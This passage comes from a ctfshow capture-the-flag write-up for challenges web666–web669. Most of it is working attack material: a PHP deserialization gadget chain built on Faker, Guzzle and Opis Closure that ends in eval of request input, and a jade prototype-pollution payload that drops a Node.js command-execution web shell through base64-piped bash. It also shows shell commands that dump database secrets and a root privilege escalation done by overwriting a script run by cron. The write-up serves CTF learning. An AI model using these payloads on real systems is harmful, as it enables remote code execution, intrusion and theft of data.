            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){eval(base64_decode($_REQUEST["x"]));die();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

sql.php

$conn = new mysqli('localhost','root','root','ctfshow');
$res = $conn->query("select * from ctfshow_secret");
if($res){
   $row=$res->fetch_array(MYSQLI_BOTH);
}
echo $row[0];
$conn->close();

将sql.php进行base64后,再urlencode两次,传入x参数。
payload

echo `curl "http://172.2.170.5:8888/index.php?r=site%2Funserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}%26x=JGNvbm4gPSBuZXcgbXlzcWxpKCdsb2NhbGhvc3QnLCdyb290Jywncm9vdCcsJ2N0ZnNob3cnKTsNCiRyZXMgPSAkY29ubi0%252bcXVlcnkoInNlbGVjdCAqIGZyb20gY3Rmc2hvd19zZWNyZXQiKTsNCmlmKCRyZXMpew0KICAgJHJvdz0kcmVzLT5mZXRjaF9hcnJheShNWVNRTElfQk9USCk7DQp9DQplY2hvICRyb3dbMF07DQokY29ubi0%252bY2xvc2UoKTs=" -d "UnserializeForm[ctfshowUnserializeData]=O%253A32%253A%2522Codeception%255CExtension%255CRunProcess%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500output%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A5%253A%2522jiang%2522%253B%257Ds%253A43%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500processes%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253BO%253A28%253A%2522GuzzleHttp%255CPsr7%255CAppendStream%2522%253A2%253A%257Bs%253A37%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500streams%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A29%253A%2522GuzzleHttp%255CPsr7%255CCachingStream%2522%253A2%253A%257Bs%253A43%253A%2522%2500GuzzleHttp%255CPsr7%255CCachingStream%2500remoteStream%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bb%253A0%253B%257Ds%253A6%253A%2522stream%2522%253BO%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253A3%253A%257Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500source%2522%253BC%253A32%253A%2522Opis%255CClosure%255CSerializableClosure%2522%253A210%253A%257Ba%253A5%253A%257Bs%253A3%253A%2522use%2522%253Ba%253A0%253A%257B%257Ds%253A8%253A%2522function%2522%253Bs%253A55%253A%2522function%2528%2529%257Beval%2528%255Cbase64_decode%2528%2524_REQUEST%255B%2522x%2522%255D%2529%2529%253Bdie%2528%2529%253B%257D%2522%253Bs%253A5%253A%2522scope%2522%253Bs%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253Bs%253A4%253A%2522this%2522%253BN%253Bs%253A4%253A%2522self%2522%253Bs%253A32%253A%2522000000007c42ef3d0000000061055bbb%2522%253B%257D%257Ds%253A32%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500size%2522%253Bi%253A-10%253Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500buffer%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A1%253A%2522j%2522%253B%257D%257D%257D%257Ds%253A38%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500seekable%2522%253Bb%253A1%253B%257D%257D%257D%257D
"`;

flag_666=ctfshow{bb4053583279be4e3be880f30ce3e53e}

web667

根据之前扫描到端口

curl http://172.2.97.5:3000

flag_667=ctfshow{503a075560764e3d116436ab73d7a560}

web668

访问3000端口服务任意路径

echo `curl "http://172.2.170.5:3000/12"`;

根据报错信息知道,服务端为nodejs

根据题目的源码提示

/login

utils.copy(user.userinfo,req.body);
function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

copy函数,典型的原型链污染
这里是利用jade原型链污染写入nodejs

写入一个aa.js来执行命令,开放端口为8033

var http = require('http');
var querystring = require('querystring');

var postHTML = '123';

http.createServer(function (req, res) {
  var body = "";
  req.on('data', function (chunk) {
    body += chunk;
  });
  req.on('end', function () {
    body = querystring.parse(body);
    res.writeHead(200, {'Content-Type': 'text/html; charset=utf8'});
 try{
    if(body.cmd) {
        res.write("username:" + body.cmd);
        var result= global.process.mainModule.constructor._load('child_process').execSync('bash -c "'+body.cmd+'"').toString();
        res.write(result);
    } else {
        res.write(postHTML);
    }}
    catch{
       res.write(postHTML);
    }
    res.end();
  });
}).listen(8033);

payload

pass=echo `curl -i -X POST -H 'Content-type':'application/json' -d "{\\"__proto__\\":{\\"__proto__\\": {\\"type\\":\\"Block\\",\\"nodes\\":\\"\\",\\"compileDebug\\":1,\\"self\\":1,\\"line\\":\\"global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiZWNobyBkbUZ5SUdoMGRIQWdQU0J5WlhGMWFYSmxLQ2RvZEhSd0p5azdDblpoY2lCeGRXVnllWE4wY21sdVp5QTlJSEpsY1hWcGNtVW9KM0YxWlhKNWMzUnlhVzVuSnlrN0NncDJZWElnY0c5emRFaFVUVXdnUFNBbk1USXpKenNLSUFwb2RIUndMbU55WldGMFpWTmxjblpsY2lobWRXNWpkR2x2YmlBb2NtVnhMQ0J5WlhNcElIc0tJQ0IyWVhJZ1ltOWtlU0E5SUNJaU93b2dJSEpsY1M1dmJpZ25aR0YwWVNjc0lHWjFibU4wYVc5dUlDaGphSFZ1YXlrZ2V3b2dJQ0FnWW05a2VTQXJQU0JqYUhWdWF6c0tJQ0I5S1RzS0lDQnlaWEV1YjI0b0oyVnVaQ2NzSUdaMWJtTjBhVzl1SUNncElIc0tJQ0FnSUdKdlpIa2dQU0J4ZFdWeWVYTjBjbWx1Wnk1d1lYSnpaU2hpYjJSNUtUc0tJQ0FnSUhKbGN5NTNjbWwwWlVobFlXUW9NakF3TENCN0owTnZiblJsYm5RdFZIbHdaU2M2SUNkMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROWRYUm1PQ2Q5S1RzS0lIUnllWHNLSUNBZ0lHbG1LR0p2WkhrdVkyMWtLU0I3Q2lBZ0lDQWdJQ0FnY21WekxuZHlhWFJsS0NKMWMyVnlibUZ0WmUrOG1pSWdLeUJpYjJSNUxtTnRaQ2s3Q2lBZ0lDQWdJQ0FnZG1GeUlISmxjM1ZzZEQwZ1oyeHZZbUZzTG5CeWIyTmxjM011YldGcGJrMXZaSFZzWlM1amIyNXpkSEoxWTNSdmNpNWZiRzloWkNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTlRlVzVqS0NkaVlYTm9JQzFqSUNJbksySnZaSGt1WTIxa0t5Y2lKeWt1ZEc5VGRISnBibWNvS1RzS0lDQWdJQ0FnSUNCeVpYTXVkM0pwZEdVb2NtVnpkV3gwS1RzS0lDQWdJSDBnWld4elpTQjdDaUFnSUNBZ0lDQWdjbVZ6TG5keWFYUmxLSEJ2YzNSSVZFMU1LVHNLSUNBZ0lIMTlDaUFnSUNCallYUmphSHNLSUNBZ0lDQWdJSEpsY3k1M2NtbDBaU2h3YjNOMFNGUk5UQ2s3SUFvZ0lDQWdmUW9nSUNBZ2NtVnpMbVZ1WkNncE93b2dJSDBwT3dwOUtTNXNhWE4wWlc0b09EQXpNeWs3Q2c9PXxiYXNlNjQgLWQgPiAvaG9tZS9ub2RlL2FhLmpzO25vZGUgL2hvbWUvbm9kZS9hYS5qcyI=|base64 -d|bash')\\"}}}" http://172.2.170.5:3000/login`;

执行任意命令
payload

pass=echo `curl -X POST -d "cmd=mysql -uroot -proot -e 'use ctfshow;select * from ctfshow_secret'" http://172.2.170.5:8033`;

flag_666=ctfshow{bb4053583279be4e3be880f30ce3e53e}

pass=echo `curl -X POST -d "cmd=cat secret.txt" http://172.2.170.5:8033`;

flag_668=ctfshow{5b617bd75e1242ab1f6f70437bb71dd5}

web669

查看运行进程中有crontab.sh,并且属于root用户。

查看内容如下

#!/bin/sh

while true
do
	sh /home/node/nodestartup.sh 
	sleep 60
done

修改nodestartup.sh,来提升权限
payload

pass=echo `curl -X POST -d "cmd=rm -rf nodestartup.sh;echo 'cat /root/you_win > /home/node/1.txt ' > nodestartup.sh" http://172.2.132.5:8033`;
恭喜你已经拿到了第二个服务器的最高权限,师傅太强了!

你能在未知的网络空间里,抽丝剥茧,层层渗透进来,足以证明你拥有高超的技术实力和旁人不具有的坚韧意志

希望你坚持下去,坚持你的热爱,坚持你喜欢的事情,我想,总有一天,你将获得百倍的回报,并让你受用终身

此刻的坚持,是未来发出的光!

                                               ctfshow 大菜鸡
                                             2021年8月7日 04:39

flag_669=ctfshow{a6c74ca12174eb538a4c8c8ed99c3a74}

flag_669=ctfshow{a6c74ca12174eb538a4c8c8ed99c3a74}